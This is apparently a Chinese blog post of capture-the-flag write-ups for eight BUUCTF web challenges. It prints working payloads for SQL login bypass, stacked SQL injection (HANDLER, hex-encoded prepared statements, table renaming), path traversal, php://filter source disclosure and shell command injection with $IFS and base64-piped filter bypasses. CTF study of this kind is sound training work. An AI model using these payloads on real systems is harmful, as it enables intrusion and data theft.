BUU Web wp[1-8]

BUU Web方向题解 1-8

[极客大挑战 2019]EasySQL

解题思路

万能密码
万能密码爆破

总结

万能密码1' or '1'='1

[HCTF 2018]WarmUp

解题思路

界面
F12查看源码
F12查看source.php

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

根据源码查看hint.php
hint.php审计代码,任意文件包含漏洞,但是有过滤,目录深度多尝试几次,有两种方式绕过:
在第三个if绕过检查:source.php?../../../../../ffffllllaaaagggg
在第四个if绕过检查:source.php%3f../../../../../ffffllllaaaagggg

总结

[极客大挑战 2019]Havefun

解题思路

F12

<?php
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        };
?>

GET参数?cat=dog
cat=dog

总结

[ACTF2020 新生赛]Include

解题思路

tips
tips参数变为file=flag.php,猜想是文件包含,但是flag输出应该被注释掉了,因此
?file=php://filter/read=convert.base64-encode/resource=flag.php
php://filter解码得到flag

总结

利用filter协议读文件,通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。

[ACTF2020 新生赛]Exec

解题思路

明显的命令执行漏洞
ping command execpayload:127.0.0.1;cat /flag
命令执行漏洞

总结

利用;将命令截断,接着可以执行自定义的命令

[强网杯 2019]随便注

解题思路

堆叠注入
1';show databases;#
databases
查看表
1';use supersqli;show tables;#
tables
尝试查看表"1919810931114514",发现被过滤
1’;select * from 1919810931114514;#注意字符串做表名加`

select被过滤
此时有两种思路:

  • 绕过select过滤
    • handler

    1’;HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;#

    • prepare stmt

    SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

  • 利用已知回显
    对照输出和words表内容,发现输出是从words表中选出
    因此我们的思路就是把flag所在表的内容替换到words表
    words table
    #分段是为了理解
       1';
       rename table `words` to `words1`;
       rename table `1919810931114514` to `words`;
       alter table `words` change `flag` `id` 
       varchar(100) character set utf8 collate utf8_general_ci not NULL;#
    

这几种方式都能得到flag
flag

总结

  • 绕过select过滤
    • handler
    • prepare stmt
  • 替换表内容,利用已知回显输出
  • 常规注入不行的情况下尝试堆叠注入,尤其是输出格式符合var_dump的

[SUCTF 2019]EasySQL

解题思路

easysql1输入非0数字回显1,输入0回显0,可以判断为select query||string from Flag;
表名堆叠注入可得到

这样输入*,1,组成的sql语句为select *,1||flag from Flag;
但是这道题,||就算输入了真正的flag,也不会出现答案,没有什么实际意义,为了出题而出题罢了
输入正确flag另一个解是把||转化成concat:
1;set sql_mode=pipes_as_concat;select 1

总结

数字和字符串或,会把字符串强制转化为整数,提取开头到第一个非数字为字符串转化的值

select 0||'111aaaa2222'; #输出1
select 1||'aaaa'; #输出0

[GXYCTF2019]Ping Ping Ping

解题思路

很明显是命令执行,但是过滤很多
?ippayload:?ip=127.0.0.1;cat$IFS$9index.php
index.php可以看到引号、括号、空格和正反斜杠都被过滤了,因此替代空格的方式剩下有:

$IFS
$IFS$9

flag也被过滤,变量拼接
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
得到flag
flag
也可以用编码绕过
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

总结

绕过姿势可见CTF WEB总结

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值